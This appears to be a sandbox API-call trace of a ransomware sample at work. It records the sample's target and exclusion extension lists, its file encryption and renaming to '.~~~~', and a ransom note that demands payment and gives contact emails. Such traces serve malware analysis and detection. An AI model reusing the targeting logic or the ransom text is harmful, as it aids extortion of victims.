	[0081.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.844] lstrlenW (lpString=".sqb") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".sqb") returned 0x0
	[0081.844] lstrlenW (lpString=".ost") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".ost") returned 0x0
	[0081.844] lstrlenW (lpString=".txt") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".txt") returned 0x0
	[0081.844] lstrlenW (lpString=".mdt") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".mdt") returned 0x0
	[0081.844] lstrlenW (lpString=".BDB") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".BDB") returned 0x0
	[0081.844] lstrlenW (lpString=".eql") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".eql") returned 0x0
	[0081.844] lstrlenW (lpString=".DBF") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DBF") returned 0x0
	[0081.844] lstrlenW (lpString=".EQL") returned 4
	[0081.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".EQL") returned 0x0
	[0081.845] lstrlenW (lpString=".FDB") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".FDB") returned 0x0
	[0081.845] lstrlenW (lpString=".EDB") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".EDB") returned 0x0
	[0081.845] lstrlenW (lpString=".DACPAC") returned 7
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.845] lstrlenW (lpString=".VHD") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".VHD") returned 0x0
	[0081.845] lstrlenW (lpString=".DBV") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DBV") returned 0x0
	[0081.845] lstrlenW (lpString=".dacpac") returned 7
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dacpac") returned 0x0
	[0081.845] lstrlenW (lpString=".sdf") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".sdf") returned 0x0
	[0081.845] lstrlenW (lpString=".accdb") returned 6
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".accdb") returned 0x0
	[0081.845] lstrlenW (lpString=".DBX") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DBX") returned 0x0
	[0081.845] lstrlenW (lpString=".MDT") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".MDT") returned 0x0
	[0081.845] lstrlenW (lpString=".SQB") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".SQB") returned 0x0
	[0081.845] lstrlenW (lpString=".vhd") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".vhd") returned 0x0
	[0081.845] lstrlenW (lpString=".bac") returned 4
	[0081.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".bac") returned 0x0
	[0081.846] lstrlenW (lpString=".mdf") returned 4
	[0081.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".mdf") returned 0x0
	[0081.846] lstrlenW (lpString=".BAK") returned 4
	[0081.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".BAK") returned 0x0
	[0081.846] lstrlenW (lpString=".BAC") returned 4
	[0081.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".BAC") returned 0x0
	[0081.846] lstrlenW (lpString=".dbs") returned 4
	[0081.846] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dbs") returned 0x0
	[0081.953] lstrlenW (lpString=".vhdx") returned 5
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".vhdx") returned 0x0
	[0081.953] lstrlenW (lpString=".NDF") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".NDF") returned 0x0
	[0081.953] lstrlenW (lpString=".dat") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dat") returned 0x0
	[0081.953] lstrlenW (lpString=".DBS") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DBS") returned 0x0
	[0081.953] lstrlenW (lpString=".CKP") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".CKP") returned 0x0
	[0081.953] lstrlenW (lpString=".edb") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".edb") returned 0x0
	[0081.953] lstrlenW (lpString=".PST") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".PST") returned 0x0
	[0081.953] lstrlenW (lpString=".dbf") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dbf") returned 0x0
	[0081.953] lstrlenW (lpString=".SQL") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".SQL") returned 0x0
	[0081.953] lstrlenW (lpString=".pst") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".pst") returned 0x0
	[0081.953] lstrlenW (lpString=".dbv") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dbv") returned 0x0
	[0081.953] lstrlenW (lpString=".SDF") returned 4
	[0081.953] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".SDF") returned 0x0
	[0081.953] lstrlenW (lpString=".dtxs") returned 5
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dtxs") returned 0x0
	[0081.954] lstrlenW (lpString=".db3") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".db3") returned 0x0
	[0081.954] lstrlenW (lpString=".OST") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".OST") returned 0x0
	[0081.954] lstrlenW (lpString=".dbx") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dbx") returned 0x0
	[0081.954] lstrlenW (lpString=".DB3") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DB3") returned 0x0
	[0081.954] lstrlenW (lpString=".DAT") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DAT") returned 0x0
	[0081.954] lstrlenW (lpString=".VHDX") returned 5
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".VHDX") returned 0x0
	[0081.954] lstrlenW (lpString=".ndf") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".ndf") returned 0x0
	[0081.954] lstrlenW (lpString=".DB") returned 3
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DB") returned 0x0
	[0081.954] lstrlenW (lpString=".sql") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".sql") returned 0x0
	[0081.954] lstrlenW (lpString=".MYD") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".MYD") returned 0x0
	[0081.954] lstrlenW (lpString=".DBT") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DBT") returned 0x0
	[0081.954] lstrlenW (lpString=".ACCDB") returned 6
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.954] lstrlenW (lpString=".fdb") returned 4
	[0081.954] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".fdb") returned 0x0
	[0081.954] lstrlenW (lpString=".bak") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".bak") returned 0x0
	[0081.955] lstrlenW (lpString=".myd") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".myd") returned 0x0
	[0081.955] lstrlenW (lpString=".DTXS") returned 5
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".DTXS") returned 0x0
	[0081.955] lstrlenW (lpString=".ckp") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".ckp") returned 0x0
	[0081.955] lstrlenW (lpString=".dbt") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".dbt") returned 0x0
	[0081.955] lstrlenW (lpString=".db") returned 3
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".db") returned 0x0
	[0081.955] lstrlenW (lpString=".TXT") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".TXT") returned 0x0
	[0081.955] lstrlenW (lpString=".MDF") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".MDF") returned 0x0
	[0081.955] lstrlenW (lpString=".bdb") returned 4
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".bdb") returned 0x0
	[0081.955] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.955] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.956] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.956] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x3e46f0
	[0081.957] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20194707430) returned 1
	[0081.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ab49530, dwHighDateTime=0x1d60e1e)) 
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cee0
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cee0 | out: hHeap=0x300000) returned 1
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a238
	[0081.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.957] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.957] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a238 | out: hHeap=0x300000) returned 1
	[0081.958] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.958] GetLastError () returned 0x0
	[0081.958] GetLastError () returned 0x0
	[0081.958] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.958] GetLastError () returned 0x0
	[0081.958] GetLastError () returned 0x0
	[0081.959] ReadFile (in: hFile=0x120, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.964] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.964] WriteFile (in: hFile=0x120, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.966] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0081.966] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.966] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.967] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.968] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.968] CloseHandle (hObject=0x120) returned 1
	[0081.968] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xd0) returned 0x27f14a8
	[0081.968] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.~~~~")) returned 1
	[0081.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f14a8 | out: hHeap=0x300000) returned 1
	[0081.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.969] GetLastError () returned 0x0
	[0081.969] RtlWakeConditionVariable () returned 0x365f70
	[0081.969] GetCurrentThreadId () returned 0x9cc
	[0081.969] GetCurrentThreadId () returned 0x9cc
	[0081.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3e00
	[0081.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4058 | out: hHeap=0x300000) returned 1
	[0081.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2518 | out: hHeap=0x300000) returned 1
	[0081.969] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b4058
	[0081.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.970] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.970] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.971] CloseHandle (hObject=0x120) returned 1
	[0081.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b4058 | out: hHeap=0x300000) returned 1
	[0081.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3e00 | out: hHeap=0x300000) returned 1
	[0081.972] RtlWakeConditionVariable () returned 0x365f70
	[0081.972] GetCurrentThreadId () returned 0x9cc
	[0081.972] GetCurrentThreadId () returned 0x9cc
	[0081.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a9140
	[0081.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc2e0 | out: hHeap=0x300000) returned 1
	[0081.972] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3450 | out: hHeap=0x300000) returned 1
	[0081.972] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc2e0
	[0081.972] lstrlenW (lpString=".scr") returned 4
	[0081.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".scr") returned 0x0
	[0081.972] lstrlenW (lpString=".cmd") returned 4
	[0081.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".cmd") returned 0x0
	[0081.972] lstrlenW (lpString=".dll") returned 4
	[0081.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".dll") returned 0x0
	[0081.972] lstrlenW (lpString=".bat") returned 4
	[0081.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".bat") returned 0x0
	[0081.972] lstrlenW (lpString=".cpl") returned 4
	[0081.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".cpl") returned 0x0
	[0081.972] lstrlenW (lpString=".sys") returned 4
	[0081.972] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".sys") returned 0x0
	[0081.973] lstrlenW (lpString=".msc") returned 4
	[0081.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".msc") returned 0x0
	[0081.973] lstrlenW (lpString=".com") returned 4
	[0081.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".com") returned 0x0
	[0081.973] lstrlenW (lpString=".lnk") returned 4
	[0081.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".lnk") returned 0x0
	[0081.973] lstrlenW (lpString=".msp") returned 4
	[0081.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".msp") returned 0x0
	[0081.973] lstrlenW (lpString=".pif") returned 4
	[0081.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".pif") returned 0x0
	[0081.973] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.973] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.974] lstrlenW (lpString=".sqb") returned 4
	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".sqb") returned 0x0
	[0081.974] lstrlenW (lpString=".ost") returned 4
	[0081.974] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL", lpSrch=".ost") returned 0x0
	[0081.974] lstrlenW (lpString=".txt") returned 4
